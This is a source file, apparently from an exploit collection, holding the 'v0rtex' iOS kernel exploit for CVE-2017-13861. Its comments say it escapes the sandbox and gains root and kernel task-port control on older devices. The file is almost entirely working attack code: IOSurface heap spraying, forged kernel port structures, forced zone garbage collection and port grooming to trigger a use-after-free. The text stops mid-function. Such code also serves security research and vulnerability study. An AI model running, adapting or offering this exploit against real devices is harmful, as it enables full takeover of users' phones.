Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/v0rtex.m
Views: 11779
// v0rtex1// Bug by Ian Beer.2// Exploit by Siguza.34// Status quo:5// - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3.6// - Can call arbitrary kernel functions with up to 7 args via KCALL().7// - Relies on mach_zone_force_gc() which was removed in iOS 11, but the same8// effect should be achievable by continuously spraying through zones and9// measuring how long it takes - garbage collection usually takes ages. :P10// - Occasionally seems to mess with SpringBoard, i.e. apps don't open when you11// tap on their icons - sometimes affects only v0rtex, sometimes all of them,12// sometimes even freezes the lock screen. Can happen even if the exploit13// aborts very early on, so I'm not sure whether it's even due to that, or due14// to my broken UI.15// - Most common panic at this point is "pmap_tte_deallocate(): ... refcnt=0x1",16// which can occur when the app is killed, but only if shmem_addr has been17// faulted before. Faulting that page can _sometimes_ increase the ref count18// on its tte entry, which causes the mentioned panic when the task is19// destroyed and its pmap with it. Exact source of this is unknown, but I20// suspect it happening in pmap_enter_options_internal(), depending on page21// compression status (i.e. if the page is compressed refcnt_updated is set to22// true and the ref count isn't increased afterwards, otherwise it is).23// On 32-bit such a panic can be temporarily averted with mlock(), but that24// seems to cause even greater trouble later with zalloc, and on 64-bit mlock25// even refuses to work. Deallocating shmem_addr from our address space does26// not fix the problem, and neither does allocating new memory at that address27// and faulting into it (which should _guarantee_ that the corresponding pmap28// entry is updated). Fixing up the ref count manually is very tedious and29// still seems to cause trouble with zalloc. Calling mach_zone_force_gc()30// after releasing the IOSurfaceRootUserClient port seems to _somewhat_ help,31// as does calling sched_yield() before mach_vm_remap() and faulting the page32// right after, so that's what I'm doing for now.33// In the long term, this should really be replaced by something deterministic34// that _always_ works (like removing the tte entirely).3536// Not sure what'll really become of this, but it's certainly not done yet.37// Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being.3839#include <errno.h> // errno40#include <sched.h> // sched_yield41#include <stdlib.h> // malloc, free42#include <string.h> // strerror43#include <unistd.h> // usleep, setuid, getuid44#include <mach/mach.h>45#include <mach-o/loader.h>46#include <CoreFoundation/CoreFoundation.h>4748#include "common.h" // LOG, kptr_t49#include "v0rtex.h"5051#if 052#define LOG(msg, ...) \53do { \54char* buffer = malloc(1024); \55sprintf(buffer, msg, __VA_ARGS__); \56fopen(buffer, "w"); \57free(buffer); \58} while (0)59#else60#define LOG(str, args...) do {} while(0)61#endif6263// ********** ********** ********** get rid of ********** ********** **********6465#ifdef __LP64__66# define OFFSET_TASK_ITK_SELF 0xd867# define OFFSET_IOUSERCLIENT_IPC 0x9c68#else69# define OFFSET_TASK_ITK_SELF 0x9c70# define OFFSET_IOUSERCLIENT_IPC 0x5c71#endif7273#define IOSURFACE_CREATE_OUTSIZE 0x3c8 /* XXX 0x6c8 for iOS 11.0, 0xbc8 for 11.1.2 */7475// ********** ********** ********** constants ********** ********** **********7677#ifdef __LP64__78# define KERNEL_MAGIC MH_MAGIC_6479# define KERNEL_HEADER_OFFSET 0x400080#else81# define KERNEL_MAGIC MH_MAGIC82# define KERNEL_HEADER_OFFSET 0x100083#endif8485#define KERNEL_SLIDE_STEP 0x1000008687#define NUM_BEFORE 0x200088#define NUM_AFTER 0x100089#define FILL_MEMSIZE 0x400000090#if 091#define NUM_DATA 0x400092#define DATA_SIZE 0x100093#endif94#ifdef __LP64__95# define VTAB_SIZE 20096#else97# define VTAB_SIZE 25098#endif99100const uint64_t IOSURFACE_CREATE_SURFACE = 0;101const uint64_t IOSURFACE_SET_VALUE = 9;102const uint64_t IOSURFACE_GET_VALUE = 10;103const uint64_t IOSURFACE_DELETE_VALUE = 11;104105const uint32_t IKOT_TASK = 2;106107enum108{109kOSSerializeDictionary = 0x01000000U,110kOSSerializeArray = 0x02000000U,111kOSSerializeSet = 0x03000000U,112kOSSerializeNumber = 0x04000000U,113kOSSerializeSymbol = 0x08000000U,114kOSSerializeString = 0x09000000U,115kOSSerializeData = 0x0a000000U,116kOSSerializeBoolean = 0x0b000000U,117kOSSerializeObject = 0x0c000000U,118119kOSSerializeTypeMask = 0x7F000000U,120kOSSerializeDataMask = 0x00FFFFFFU,121122kOSSerializeEndCollection = 0x80000000U,123124kOSSerializeMagic = 0x000000d3U,125};126127// ********** ********** ********** macros ********** ********** **********128129#define UINT64_ALIGN_DOWN(addr) ((addr) & ~7)130#define UINT64_ALIGN_UP(addr) UINT64_ALIGN_DOWN((addr) + 7)131132#if 0133#define UNALIGNED_COPY(src, dst, size) \134do \135{ \136for(volatile uint32_t *_src = (volatile uint32_t*)(src), \137*_dst = (volatile uint32_t*)(dst), \138*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \139_src < _end; \140*(_dst++) = *(_src++) \141); \142} while(0)143#endif144145#ifdef __LP64__146# define UNALIGNED_KPTR_DEREF(addr) (((kptr_t)*(volatile uint32_t*)(addr)) | (((kptr_t)*((volatile uint32_t*)(addr) + 1)) << 32))147#else148# define UNALIGNED_KPTR_DEREF(addr) ((kptr_t)*(volatile uint32_t*)(addr))149#endif150151#define VOLATILE_BCOPY32(src, dst, size) \152do \153{ \154for(volatile uint32_t *_src = (volatile uint32_t*)(src), \155*_dst = (volatile uint32_t*)(dst), \156*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \157_src < _end; \158*(_dst++) = *(_src++) \159); \160} while(0)161162#define VOLATILE_BZERO32(addr, size) \163do \164{ \165for(volatile uint32_t *_ptr = (volatile uint32_t*)(addr), \166*_end = (volatile uint32_t*)((uintptr_t)(_ptr) + (size)); \167_ptr < _end; \168*(_ptr++) = 0 \169); \170} while(0)171172#define RELEASE_PORT(port) \173do \174{ \175if(MACH_PORT_VALID((port))) \176{ \177_kernelrpc_mach_port_destroy_trap(self, (port)); \178port = MACH_PORT_NULL; \179} \180} while(0)181182// ********** ********** ********** IOKit ********** ********** **********183184typedef mach_port_t io_service_t;185typedef mach_port_t io_connect_t;186extern const mach_port_t kIOMasterPortDefault;187CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;188io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);189kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);190kern_return_t IOServiceClose(io_connect_t client);191kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);192kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);193kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);194195// ********** ********** ********** other unexported symbols ********** ********** **********196197kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);198199// ********** ********** ********** helpers ********** ********** **********200201static const char *errstr(int r)202{203return r == 0 ? "success" : strerror(r);204}205206static uint32_t transpose(uint32_t val)207{208uint32_t ret = 0;209for(size_t i = 0; val > 0; i += 8)210{211ret += (val % 255) << i;212val /= 255;213}214return ret + 0x01010101;215}216217// ********** ********** ********** MIG ********** ********** **********218219static kern_return_t my_mach_zone_force_gc(host_t host)220{221#pragma pack(4)222typedef struct {223mach_msg_header_t Head;224} Request;225typedef struct {226mach_msg_header_t Head;227NDR_record_t NDR;228kern_return_t RetCode;229mach_msg_trailer_t trailer;230} Reply;231#pragma pack()232233union {234Request In;235Reply Out;236} Mess;237238Request *InP = &Mess.In;239Reply *OutP = &Mess.Out;240241InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);242InP->Head.msgh_remote_port = host;243InP->Head.msgh_local_port = mig_get_reply_port();244InP->Head.msgh_id = 221;245InP->Head.msgh_reserved = 0;246247kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);248if(ret == KERN_SUCCESS)249{250ret = OutP->RetCode;251}252return ret;253}254255static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context)256{257#pragma pack(4)258typedef struct {259mach_msg_header_t Head;260NDR_record_t NDR;261mach_port_name_t name;262} Request;263typedef struct {264mach_msg_header_t Head;265NDR_record_t NDR;266kern_return_t RetCode;267mach_vm_address_t context;268mach_msg_trailer_t trailer;269} Reply;270#pragma pack()271272union {273Request In;274Reply Out;275} Mess;276277Request *InP = &Mess.In;278Reply *OutP = &Mess.Out;279280InP->NDR = NDR_record;281InP->name = name;282InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);283InP->Head.msgh_remote_port = task;284InP->Head.msgh_local_port = mig_get_reply_port();285InP->Head.msgh_id = 3228;286InP->Head.msgh_reserved = 0;287288kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);289if(ret == KERN_SUCCESS)290{291ret = OutP->RetCode;292}293if(ret == KERN_SUCCESS)294{295*context = OutP->context;296}297return ret;298}299300kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context)301{302#pragma pack(4)303typedef struct {304mach_msg_header_t Head;305NDR_record_t NDR;306mach_port_name_t name;307mach_vm_address_t context;308} Request;309typedef struct {310mach_msg_header_t Head;311NDR_record_t NDR;312kern_return_t RetCode;313mach_msg_trailer_t trailer;314} Reply;315#pragma pack()316317union {318Request In;319Reply Out;320} Mess;321322Request *InP = &Mess.In;323Reply *OutP = &Mess.Out;324325InP->NDR = NDR_record;326InP->name = name;327InP->context = context;328InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);329InP->Head.msgh_remote_port = task;330InP->Head.msgh_local_port = mig_get_reply_port();331InP->Head.msgh_id = 3229;332InP->Head.msgh_reserved = 0;333334kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);335if(ret == KERN_SUCCESS)336{337ret = OutP->RetCode;338}339return ret;340}341342// Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.343// Prepare everything - sched_yield() - fire.344static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len)345{346#pragma pack(4)347typedef struct {348mach_msg_header_t Head;349NDR_record_t NDR;350uint32_t selector;351mach_msg_type_number_t scalar_inputCnt;352mach_msg_type_number_t inband_inputCnt;353uint32_t inband_input[4];354mach_vm_address_t ool_input;355mach_vm_size_t ool_input_size;356mach_msg_type_number_t inband_outputCnt;357mach_msg_type_number_t scalar_outputCnt;358mach_vm_address_t ool_output;359mach_vm_size_t ool_output_size;360} DeleteRequest;361typedef struct {362mach_msg_header_t Head;363NDR_record_t NDR;364uint32_t selector;365mach_msg_type_number_t scalar_inputCnt;366mach_msg_type_number_t inband_inputCnt;367mach_vm_address_t ool_input;368mach_vm_size_t ool_input_size;369mach_msg_type_number_t inband_outputCnt;370mach_msg_type_number_t scalar_outputCnt;371mach_vm_address_t ool_output;372mach_vm_size_t ool_output_size;373} SetRequest;374typedef struct {375mach_msg_header_t Head;376NDR_record_t NDR;377kern_return_t RetCode;378mach_msg_type_number_t inband_outputCnt;379char inband_output[4096];380mach_msg_type_number_t scalar_outputCnt;381uint64_t scalar_output[16];382mach_vm_size_t ool_output_size;383mach_msg_trailer_t trailer;384} Reply;385#pragma pack()386387// Delete388union {389DeleteRequest In;390Reply Out;391} DMess;392393DeleteRequest *DInP = &DMess.In;394Reply *DOutP = &DMess.Out;395396DInP->NDR = NDR_record;397DInP->selector = IOSURFACE_DELETE_VALUE;398DInP->scalar_inputCnt = 0;399400DInP->inband_input[0] = surfaceId;401DInP->inband_input[2] = transpose(propertyId);402DInP->inband_input[3] = 0x0; // Null terminator403DInP->inband_inputCnt = sizeof(DInP->inband_input);404405DInP->ool_input = 0;406DInP->ool_input_size = 0;407408DInP->inband_outputCnt = sizeof(uint32_t);409DInP->scalar_outputCnt = 0;410DInP->ool_output = 0;411DInP->ool_output_size = 0;412413DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);414DInP->Head.msgh_remote_port = client;415DInP->Head.msgh_local_port = mig_get_reply_port();416DInP->Head.msgh_id = 2865;417DInP->Head.msgh_reserved = 0;418419// Set420union {421SetRequest In;422Reply Out;423} SMess;424425SetRequest *SInP = &SMess.In;426Reply *SOutP = &SMess.Out;427428SInP->NDR = NDR_record;429SInP->selector = IOSURFACE_SET_VALUE;430SInP->scalar_inputCnt = 0;431432SInP->inband_inputCnt = 0;433434SInP->ool_input = (mach_vm_address_t)buf;435SInP->ool_input_size = len;436437SInP->inband_outputCnt = sizeof(uint32_t);438SInP->scalar_outputCnt = 0;439SInP->ool_output = 0;440SInP->ool_output_size = 0;441442SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);443SInP->Head.msgh_remote_port = client;444SInP->Head.msgh_local_port = mig_get_reply_port();445SInP->Head.msgh_id = 2865;446SInP->Head.msgh_reserved = 0;447448// Deep breath449sched_yield();450451// Fire452kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);453if(ret == KERN_SUCCESS)454{455ret = DOutP->RetCode;456}457if(ret != KERN_SUCCESS)458{459return ret;460}461ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);462if(ret == KERN_SUCCESS)463{464ret = SOutP->RetCode;465}466return ret;467}468469// ********** ********** ********** data structures ********** ********** **********470471#ifdef __LP64__472typedef volatile struct473{474kptr_t prev;475kptr_t next;476kptr_t start;477kptr_t end;478} kmap_hdr_t;479#endif480481typedef volatile struct {482uint32_t ip_bits;483uint32_t ip_references;484struct {485kptr_t data;486uint32_t type;487#ifdef __LP64__488uint32_t pad;489#endif490} ip_lock; // spinlock491struct {492struct {493struct {494uint32_t flags;495uint32_t waitq_interlock;496uint64_t waitq_set_id;497uint64_t waitq_prepost_id;498struct {499kptr_t next;500kptr_t prev;501} waitq_queue;502} waitq;503kptr_t messages;504uint32_t seqno;505uint32_t receiver_name;506uint16_t msgcount;507uint16_t qlimit;508#ifdef __LP64__509uint32_t pad;510#endif511} port;512kptr_t klist;513} ip_messages;514kptr_t ip_receiver;515kptr_t ip_kobject;516kptr_t ip_nsrequest;517kptr_t ip_pdrequest;518kptr_t ip_requests;519kptr_t ip_premsg;520uint64_t ip_context;521uint32_t ip_flags;522uint32_t ip_mscount;523uint32_t ip_srights;524uint32_t ip_sorights;525} kport_t;526527typedef volatile struct {528union {529kptr_t port;530uint32_t index;531} notify;532union {533uint32_t name;534kptr_t size;535} name;536} kport_request_t;537538typedef volatile union539{540struct {541struct {542kptr_t data;543uint32_t reserved : 24,544type : 8;545#ifdef __LP64__546uint32_t pad;547#endif548} lock; // mutex lock549uint32_t ref_count;550uint32_t active;551uint32_t halting;552#ifdef __LP64__553uint32_t pad;554#endif555kptr_t map;556} a;557struct {558char pad[OFFSET_TASK_ITK_SELF];559kptr_t itk_self;560} b;561} ktask_t;562563// ********** ********** ********** more helper functions because it turns out we need access to data structures... sigh ********** ********** **********564565static kern_return_t reallocate_fakeport(io_connect_t client, uint32_t surfaceId, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, kport_t *kport, uint32_t *buf, mach_vm_size_t len)566{567bool twice = false;568if(off + sizeof(kport_t) > pagesize)569{570twice = true;571VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), pagesize - off);572VOLATILE_BCOPY32((void*)((uintptr_t)kport + (pagesize - off)), &buf[9], sizeof(kport_t) - off);573}574else575{576VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), sizeof(kport_t));577}578buf[6] = transpose(pageId);579kern_return_t ret = reallocate_buf(client, surfaceId, pageId, buf, len);580if(twice && ret == KERN_SUCCESS)581{582++pageId;583buf[6] = transpose(pageId);584ret = reallocate_buf(client, surfaceId, pageId, buf, len);585}586return ret;587}588589kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, uint32_t *request, size_t reqsize, uint32_t *resp, size_t respsz, kport_t *kport)590{591request[2] = transpose(pageId);592size_t size = respsz;593kern_return_t ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);594LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret));595if(ret == KERN_SUCCESS && size == respsz)596{597size_t sz = pagesize - off;598if(sz > sizeof(kport_t))599{600sz = sizeof(kport_t);601}602VOLATILE_BCOPY32((void*)((uintptr_t)&resp[4] + off), kport, sz);603if(sz < sizeof(kport_t))604{605++pageId;606request[2] = transpose(pageId);607size = respsz;608ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);609LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret));610if(ret == KERN_SUCCESS && size == respsz)611{612VOLATILE_BCOPY32(&resp[4], (void*)((uintptr_t)kport + sz), sizeof(kport_t) - sz);613}614}615}616if(ret == KERN_SUCCESS && size < respsz)617{618LOG("%s", "Response too short.");619ret = KERN_FAILURE;620}621return ret;622}623624// ********** ********** ********** ye olde pwnage ********** ********** **********625626kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase)627{628kern_return_t retval = KERN_FAILURE,629ret = 0;630task_t self = mach_task_self();631host_t host = mach_host_self();632633io_connect_t client = MACH_PORT_NULL;634mach_port_t stuffport = MACH_PORT_NULL;635mach_port_t realport = MACH_PORT_NULL;636mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };637mach_port_t port = MACH_PORT_NULL;638mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };639mach_port_t fakeport = MACH_PORT_NULL;640mach_vm_size_t pagesize = 0,641shmemsz = 0;642uint32_t *dict_prep = NULL,643*dict_big = NULL,644*dict_small = NULL,645*resp = NULL;646mach_vm_address_t shmem_addr = 0;647mach_port_array_t maps = NULL;648649/********** ********** data hunting ********** **********/650651vm_size_t pgsz = 0;652ret = _host_page_size(host, &pgsz);653pagesize = pgsz;654LOG("page size: 0x%llx, %s", pagesize, mach_error_string(ret));655if(ret != KERN_SUCCESS)656{657goto out;658}659660io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));661LOG("service: %x", service);662if(!MACH_PORT_VALID(service))663{664goto out;665}666667ret = IOServiceOpen(service, self, 0, &client);668LOG("client: %x, %s", client, mach_error_string(ret));669if(ret != KERN_SUCCESS || !MACH_PORT_VALID(client))670{671goto out;672}673674uint32_t dict_create[] =675{676kOSSerializeMagic,677kOSSerializeEndCollection | kOSSerializeDictionary | 1,678679kOSSerializeSymbol | 19,6800x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize"681kOSSerializeEndCollection | kOSSerializeNumber | 32,6820x1000,6830x0,684};685union686{687char _padding[IOSURFACE_CREATE_OUTSIZE];688struct689{690mach_vm_address_t addr1;691mach_vm_address_t addr2;692uint32_t id;693} data;694} surface;695VOLATILE_BZERO32(&surface, sizeof(surface));696size_t size = sizeof(surface);697ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size);698LOG("newSurface: %s", mach_error_string(ret));699if(ret != KERN_SUCCESS)700{701goto out;702}703LOG("surface ID: 0x%x", surface.data.id);704705/********** ********** data preparation ********** **********/706707size_t num_data = FILL_MEMSIZE / pagesize,708dictsz_prep = (5 + 4 * num_data) * sizeof(uint32_t),709dictsz_big = dictsz_prep + (num_data * pagesize),710dictsz_small = 9 * sizeof(uint32_t) + pagesize,711respsz = 4 * sizeof(uint32_t) + pagesize;712dict_prep = malloc(dictsz_prep);713if(!dict_prep)714{715LOG("malloc(prep): %s", strerror(errno));716goto out;717}718dict_big = malloc(dictsz_big);719if(!dict_big)720{721LOG("malloc(big): %s", strerror(errno));722goto out;723}724dict_small = malloc(dictsz_small);725if(!dict_small)726{727LOG("malloc(small): %s", strerror(errno));728goto out;729}730resp = malloc(respsz);731if(!resp)732{733LOG("malloc(resp): %s", strerror(errno));734goto out;735}736VOLATILE_BZERO32(dict_prep, dictsz_prep);737VOLATILE_BZERO32(dict_big, dictsz_big);738VOLATILE_BZERO32(dict_small, dictsz_small);739VOLATILE_BZERO32(resp, respsz);740741// ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9742// is actually 0x1000, so references to our reallocated memory may be shifted743// by (0x1000 % sizeof(kport_t))744kport_t triple_kport;745VOLATILE_BZERO32(&triple_kport, sizeof(triple_kport));746triple_kport.ip_lock.data = 0x0;747triple_kport.ip_lock.type = 0x11;748#ifdef __LP64__749triple_kport.ip_messages.port.waitq.waitq_queue.next = 0x0;750triple_kport.ip_messages.port.waitq.waitq_queue.prev = 0x11;751triple_kport.ip_nsrequest = 0x0;752triple_kport.ip_pdrequest = 0x11;753#endif754755uint32_t *prep = dict_prep;756uint32_t *big = dict_big;757*(big++) = *(prep++) = surface.data.id;758*(big++) = *(prep++) = 0x0;759*(big++) = *(prep++) = kOSSerializeMagic;760*(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeArray | 1;761*(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeDictionary | num_data;762for(size_t i = 0; i < num_data; ++i)763{764*(big++) = *(prep++) = kOSSerializeSymbol | 5;765*(big++) = *(prep++) = transpose(i);766*(big++) = *(prep++) = 0x0; // null terminator767*(big++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1);768size_t j = 0;769for(uintptr_t ptr = (uintptr_t)big, end = ptr + pagesize; ptr < end; ptr += sizeof(triple_kport))770{771size_t sz = end - ptr;772if(sz > sizeof(triple_kport))773{774sz = sizeof(triple_kport);775}776triple_kport.ip_context = (0x10000000ULL | (j << 20) | i) << 32;777#ifdef __LP64__778triple_kport.ip_messages.port.pad = 0x20000000 | (j << 20) | i;779triple_kport.ip_lock.pad = 0x30000000 | (j << 20) | i;780#endif781VOLATILE_BCOPY32(&triple_kport, ptr, sz);782++j;783}784big += (pagesize / sizeof(uint32_t));785*(prep++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeBoolean | 1;786}787788dict_small[0] = surface.data.id;789dict_small[1] = 0x0;790dict_small[2] = kOSSerializeMagic;791dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1;792dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1;793dict_small[5] = kOSSerializeSymbol | 5;794// [6] later795dict_small[7] = 0x0; // null terminator796dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1);797798uint32_t dummy = 0;799size = sizeof(dummy);800ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_prep, dictsz_prep, &dummy, &size);801if(ret != KERN_SUCCESS)802{803LOG("setValue(prep): %s", mach_error_string(ret));804goto out;805}806807/********** ********** black magic ********** **********/808809ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &stuffport);810LOG("stuffport: %x, %s", stuffport, mach_error_string(ret));811if(ret != KERN_SUCCESS || !MACH_PORT_VALID(stuffport))812{813goto out;814}815816ret = _kernelrpc_mach_port_insert_right_trap(self, stuffport, stuffport, MACH_MSG_TYPE_MAKE_SEND);817LOG("mach_port_insert_right: %s", mach_error_string(ret));818if(ret != KERN_SUCCESS)819{820goto out;821}822823ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport);824LOG("realport: %x, %s", realport, mach_error_string(ret));825if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport))826{827goto out;828}829830sched_yield();831// Clean out full pages already in freelists832ret = my_mach_zone_force_gc(host);833if(ret != KERN_SUCCESS)834{835LOG("mach_zone_force_gc: %s", mach_error_string(ret));836goto out;837}838839for(size_t i = 0; i < NUM_BEFORE; ++i)840{841ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]);842if(ret != KERN_SUCCESS)843{844LOG("mach_port_allocate: %s", mach_error_string(ret));845goto out;846}847}848849ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port);850if(ret != KERN_SUCCESS)851{852LOG("mach_port_allocate: %s", mach_error_string(ret));853goto out;854}855if(!MACH_PORT_VALID(port))856{857LOG("port: %x", port);858goto out;859}860861for(size_t i = 0; i < NUM_AFTER; ++i)862{863ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]);864if(ret != KERN_SUCCESS)865{866LOG("mach_port_allocate: %s", mach_error_string(ret));867goto out;868}869}870871LOG("port: %x", port);872873ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND);874LOG("mach_port_insert_right: %s", mach_error_string(ret));875if(ret != KERN_SUCCESS)876{877goto out;878}879880#pragma pack(4)881typedef struct {882mach_msg_base_t base;883mach_msg_ool_ports_descriptor_t desc[2];884} StuffMsg;885#pragma pack()886StuffMsg msg;887msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);888msg.base.header.msgh_remote_port = stuffport;889msg.base.header.msgh_local_port = MACH_PORT_NULL;890msg.base.header.msgh_id = 1234;891msg.base.header.msgh_reserved = 0;892msg.base.body.msgh_descriptor_count = 2;893msg.desc[0].address = before;894msg.desc[0].count = NUM_BEFORE;895msg.desc[0].disposition = MACH_MSG_TYPE_MOVE_RECEIVE;896msg.desc[0].deallocate = FALSE;897msg.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;898msg.desc[1].address = after;899msg.desc[1].count = NUM_AFTER;900msg.desc[1].disposition = MACH_MSG_TYPE_MOVE_RECEIVE;901msg.desc[1].deallocate = FALSE;902msg.desc[1].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;903ret = mach_msg(&msg.base.header, MACH_SEND_MSG, (mach_msg_size_t)sizeof(msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);904LOG("mach_msg: %s", mach_error_string(ret));905if(ret != KERN_SUCCESS)906{907goto out;908}909910for(size_t i = 0; i < NUM_BEFORE; ++i)911{912RELEASE_PORT(before[i]);913}914for(size_t i = 0; i < NUM_AFTER; ++i)915{916RELEASE_PORT(after[i]);917}918919#if 0920uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] =921{922// Some header or something923surface.data.id,9240x0,925926kOSSerializeMagic,927kOSSerializeEndCollection | kOSSerializeArray | 2,928929kOSSerializeString | (DATA_SIZE - 1),930};931dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4;932933// ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9934// is actually 0x1000, so references to our reallocated memory may be shifted935// by (0x1000 % sizeof(kport_t))936kport_t triple_kport =937{938.ip_lock =939{940.data = 0x0,941.type = 0x11,942},943#ifdef __LP64__944.ip_messages =945{946.port =947{948.waitq =949{950.waitq_queue =951{952.next = 0x0,953.prev = 0x11,954}955},956},957},958.ip_nsrequest = 0x0,959.ip_pdrequest = 0x11,960#endif961};962for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))963{964UNALIGNED_COPY(&triple_kport, ptr, sizeof(kport_t));965}966#endif967968// There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod,969// which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs),970// sleep after the connect call and register again, thus releasing the reference synchronously.971ret = mach_ports_register(self, &port, 1);972LOG("mach_ports_register: %s", mach_error_string(ret));973if(ret != KERN_SUCCESS)974{975goto out;976}977978uint64_t ref = 0;979uint64_t in[3] = { 0, 0x666, 0 };980IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, 